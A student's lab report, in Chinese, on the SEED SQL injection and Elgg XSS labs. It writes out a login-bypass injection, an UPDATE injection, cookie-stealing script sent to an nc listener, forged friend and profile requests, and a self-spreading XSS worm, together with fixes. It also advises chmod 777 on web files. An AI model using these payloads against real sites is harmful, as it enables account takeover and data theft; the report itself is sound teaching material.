1. 实践内容
本次实践主要学习 Web 应用程序安全攻防技术,包含两大核心实验:
一、SEED SQL注入攻击与防御实验:通过一个存在 SQL 注入漏洞的员工管理 Web 应用,学习 SQL 注入攻击的原理与方法。实验内容包括熟悉 SQL 语句操作、对 SELECT 语句进行 SQL 注入攻击实现无密码登录、对 UPDATE 语句进行 SQL 注入攻击修改他人信息,以及学习如何修复 SQL 注入漏洞。
二、SEED XSS跨站脚本攻击实验:基于 Elgg Web 应用程序,学习 XSS 跨站脚本攻击技术。实验内容包括发布恶意消息弹窗、窃取用户 Cookie、自动添加好友、修改用户信息、编写 XSS 蠕虫以及对抗 XSS 攻击。
2. 实践过程
2.1 实验环境搭建
2.1.1 虚拟机创建与配置
在 VMware 中创建 SEED Ubuntu 16.04 虚拟机,遇到以下问题并解决:
问题1:VMware 创建虚拟机报错
创建虚拟机时提示"指定位置似乎已包含现有虚拟机,是否继续?"
解决方案:直接点击"是",因为文件夹内已有虚拟机文件,不影响后续使用。
问题2:虚拟磁盘格式转换提示
弹窗询问"将现有虚拟磁盘转换为更新的格式?"
解决方案:选择"不转换(保持旧格式)",SEED 老镜像无需转换,避免开机报错。
问题3:开机报错无法连接虚拟设备
开机时提示"无法连接虚拟设备 sata0:1"
解决方案:点击"否",取消每次开机尝试连接,不影响系统正常启动。
问题4:虚拟机界面太小、无法调整分辨率
显示 Unknown Display,只有 800x600 分辨率,无法全屏。
解决方案:安装 open-vm-tools-desktop 并重启系统:
sudo apt-get install open-vm-tools-desktop
sudo reboot
临时可使用快捷键 Ctrl+Alt+Enter 全屏。
问题5:修改主机名
按照实验要求,将主机名修改为个人姓名拼音:
sudo hostname xiaokangfei


2.1.2 启动实验服务
启动 Apache 和 MySQL 服务:
sudo service apache2 start
sudo service mysql start

2.2 SQL注入攻击实验
2.2.1 任务1:熟悉SQL语句
登录 MySQL 数据库,密码为 seedubuntu:
mysql -u root -p
查看数据库列表:
show databases;

进入 Users 数据库并查看表:
use Users;
show tables;

查看 credential 表中的所有用户信息:
select * from credential;

查询特定用户信息:
select * from credential where Name = 'Boby';

2.2.2 任务2:对SELECT语句的SQL注入攻击
攻击目标:在不知道密码的情况下登录 Web 应用程序。
打开浏览器访问 http://www.seedlabsqlinjection.com/unsafe_home.php
在用户名输入框中输入:
Admin' #
密码随意输入(如 123),点击登录。
攻击原理:' 闭合了前面的引号,# 注释掉了后面的密码验证部分,使得 SQL 查询变为:
SELECT * FROM credential WHERE name='Admin' #' AND Password='...'
# 后面的内容被注释,只需用户名匹配即可登录。


成功登录后,可以看到所有员工的详细信息,包括用户名、EID、Salary、Birthday、SSN、Nickname、Email、Address、Ph. Number 等。

2.2.3 任务3:对UPDATE语句的SQL注入攻击
攻击目标:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击,修改管理员的薪水。
登录 Boby 账户后,进入 Edit Profile 页面,在 Nickname 字段中输入:
', Salary='20253910' where Name='Admin' #
攻击原理:通过闭合前面的引号,注入新的 SQL 语句,将 Admin 的 Salary 修改为指定值。
修改后的 SQL 语句变为:
UPDATE credential SET nickname='...', Salary='20253910' where Name='Admin' #' WHERE ...

可以看到 Admin 的 Salary 已被成功修改为 20253910。
2.2.4 任务4:SQL对抗——修复SQL注入漏洞
查看存在漏洞的源代码:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";

修复方案:使用预处理语句(Prepared Statement)替代直接拼接 SQL 字符串:
$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();
修复后,再次尝试 SQL 注入攻击,登录失败:

2.3 XSS跨站脚本攻击实验
2.3.1 实验环境准备
访问 XSS Lab 网站:http://www.xsslabelgg.com/

2.3.2 任务1:发布恶意消息,显示警报窗口
在 Alice 的个人资料 Brief description 字段中嵌入 JavaScript 代码:
alert("xiaokangfei");

保存后,当其他用户访问 Alice 的个人资料页面时,会弹出警报窗口:

2.3.3 任务2:弹窗显示Cookie信息
在 Brief description 字段中嵌入以下代码:
<script>alert(document.cookie);</script>

当其他用户访问 Alice 的个人资料页面时,会弹出显示 Cookie 信息的警报窗口:

2.3.4 任务3:窃取受害者的Cookies
使用 nc 命令在攻击者机器上监听端口,接收受害者发送的 Cookie:
nc -l 5555 -v

在 Alice 的个人资料中嵌入以下 JavaScript 代码,将 Cookie 发送到攻击者服务器:
<script>alert(document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie)+'>'));</script>

当受害者访问 Alice 的个人资料时,其 Cookie 会被发送到攻击者的监听端口,攻击者成功接收到包含 Cookie 的 HTTP 请求:

2.3.5 任务4:成为受害者的朋友
通过 JavaScript 自动发送添加好友请求,无需受害者干预。
首先通过浏览器开发者工具了解 Elgg 加好友的 HTTP 请求过程,获取好友添加的 URL 格式:

然后构造相应的 JavaScript 代码嵌入到 Alice 的个人资料中:
<script type="text/javascript">
window.onload = function () {var Ajax=null;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;Ajax=new XMLHttpRequest();Ajax.open("GET",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send();
}
</script>

当受害者(Boby,GUID=45)访问 Alice 的个人资料页面时,会自动将 Alice 添加为好友:

2.3.6 任务5:修改受害者的信息
使用 JavaScript 自动修改访问者的个人资料。在 Alice 的个人资料中嵌入恶意脚本,当 Boby 访问 Alice 的页面时,其资料会被自动修改:
<script type="text/javascript">window.onload = function(){var userName=elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var content=token+ts+"name="+userName+"&description=<p>This have been cracked by 20253910xiaokangfei.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit";var aliceGuid=45; if(elgg.session.user.guid==aliceGuid){var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>

可以看到 Boby 的 About me 字段已被修改为 "This have been cracked by 20253910xiaokangfei",证明 XSS 攻击成功修改了受害者的个人信息。
2.3.7 任务6:编写XSS蠕虫
XSS 蠕虫的核心特点是自我复制和传播。蠕虫代码需要获取当前用户的个人信息,将蠕虫代码注入到当前用户的个人资料中,当其他用户访问被感染的个人资料时,蠕虫会自动复制到该用户的资料中。
蠕虫代码实现:
<script id="worm" type="text/javascript">window.onload = function(){var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";var jsCode = document.getElementById("worm").innerHTML;var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);var userName=elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;//Construct the content of your url.var content= token + ts + "&name=" + userName + "&description=<p>20253910xiaokangfei"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit"alert(content)var aliceGuid=45;if(elgg.session.user.guid!=aliceGuid){var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send(content);}}
</script>

蠕虫传播效果:当用户访问被感染的页面后,其个人资料会被自动修改并植入蠕虫代码:

2.3.8 任务7:对抗XSS攻击
修复方案:
-
输入过滤:对用户输入进行 HTML 实体编码,将
<转换为<,>转换为>等。 -
输出编码:在输出用户内容时进行编码,防止浏览器将其解析为 HTML/JavaScript。
-
使用 HttpOnly Cookie:设置 Cookie 的 HttpOnly 属性,防止 JavaScript 访问 Cookie。
-
内容安全策略(CSP):通过 CSP 头限制页面可以加载的资源来源。
-
Elgg 内置防护:启用 Elgg 的 HTMLawed 安全过滤插件,对用户输入进行 sanitization:

从截图中可以看到,蠕虫代码被成功嵌入到 Alice 的个人资料中,About me 字段包含了完整的 XSS 蠕虫脚本。当其他用户访问该页面时,蠕虫会自动执行并传播。通过启用 HTMLawed 插件,可以对用户输入进行过滤,阻止恶意脚本的执行:

3. 学习中遇到的问题及解决
问题1:VMware 创建虚拟机报错
问题描述:创建虚拟机时提示"指定位置似乎已包含现有虚拟机,是否继续?"
解决方案:直接点击"是",因为文件夹内已有虚拟机文件,不影响后续使用。
问题2:虚拟磁盘格式转换提示
问题描述:弹窗询问"将现有虚拟磁盘转换为更新的格式?"
解决方案:选择"不转换(保持旧格式)",SEED 老镜像无需转换,避免开机报错。
问题3:开机报错无法连接虚拟设备
问题描述:开机时提示"无法连接虚拟设备 sata0:1"
解决方案:点击"否",取消每次开机尝试连接,不影响系统正常启动。
问题4:虚拟机界面太小、无法调整分辨率
问题描述:显示 Unknown Display,只有 800x600 分辨率,无法全屏。
解决方案:安装 open-vm-tools-desktop 并重启系统:
sudo apt-get install open-vm-tools-desktop
sudo reboot
问题5:无法通过VMtools传输文件
问题描述:VMware Tools 无法正常使用,无法在宿主机和虚拟机之间传输文件。
解决方案:使用以下替代方法:
- 方法1:设置共享文件夹
- 方法2:使用 U 盘挂载
- 方法3:使用 Python 简易 HTTP 服务器传输文件
问题6:Vim 编辑文件报错 E2112
问题描述:使用 Vim 编辑 /var/www 目录下的文件时报错 "E2112: Can't open file for writing"
原因:/var/www 目录文件属于 root 用户,普通用户无写权限。
解决方案:使用 sudo 提升权限:
sudo chmod 777 /var/www/SQLInjection/unsafe_home.php
或使用 sudo 直接编辑:
sudo vim /var/www/SQLInjection/unsafe_home.php
问题7:Vim 编辑器不会退出/保存
问题描述:不熟悉 Vim 编辑器的操作方式。
解决方案:
- 不保存退出:按 ESC 键,输入
:q!,然后回车 - 保存并退出:按 ESC 键,输入
:wq,然后回车
问题8:实验文件修改权限不足
问题描述:网站目录文件属于 root,普通 seed 用户无写权限。
解决方案:使用 sudo 修改文件权限后再编辑:
sudo chmod 777 /var/www/SQLInjection/unsafe_home.php
问题9:SQL注入实验中数据库登录/查询操作
问题描述:不熟悉 MySQL 数据库的基本操作命令。
解决方案:
- 登录数据库:
mysql -u root -p(密码:seedubuntu) - 查看数据库:
show databases; - 选择数据库:
use Users; - 查看表:
show tables; - 查询数据:
select * from credential;
问题10:XSS实验中nc监听端口获取Cookie
问题描述:不熟悉如何使用 nc 命令监听端口接收数据。
解决方案:使用以下命令监听端口:
nc -l 5555 -v
该命令会在 5555 端口监听,接收恶意脚本发送的 Cookie 与 HTTP 请求信息。
4. 实践总结
通过本次 Web 应用程序安全攻防实验,我深入学习了两种最常见的 Web 安全漏洞:SQL 注入和 XSS 跨站脚本攻击。
SQL 注入方面:我掌握了 SQL 注入的基本原理,即通过将恶意 SQL 代码插入用户输入字段,改变原有 SQL 语句的执行逻辑。实验中,我成功利用 ' 和 # 实现了无密码登录,并通过 UPDATE 语句注入修改了其他用户的信息。修复方案是使用预处理语句,将用户输入与 SQL 语句分离,从根本上杜绝注入可能。
XSS 攻击方面:我学习了如何在 Web 页面中嵌入恶意 JavaScript 代码,实现了弹窗警告、Cookie 窃取、自动添加好友、修改用户信息等多种攻击方式。XSS 蠕虫的编写让我理解了恶意代码自我复制和传播的机制。防御方法包括输入过滤、输出编码、HttpOnly Cookie 和内容安全策略等。
实验收获:
- 加深了对 Web 安全漏洞原理的理解
- 掌握了基本的攻击技术和防御方法
- 提高了 Linux 系统和数据库的操作能力
- 认识到 Web 应用开发中安全编码的重要性
心得体会:安全无小事,任何一个小的输入验证疏忽都可能导致严重的安全问题。作为未来的开发者,必须在编码过程中始终将安全放在首位,采用安全的编程实践,对用户输入进行严格的验证和过滤。
参考资料
- SEED Labs - SQL Injection Attack Lab
- SEED Labs - Cross-Site Scripting Attack Lab
- 《Web安全深度剖析》
- 《白帽子讲Web安全》
- 实践十学习指导
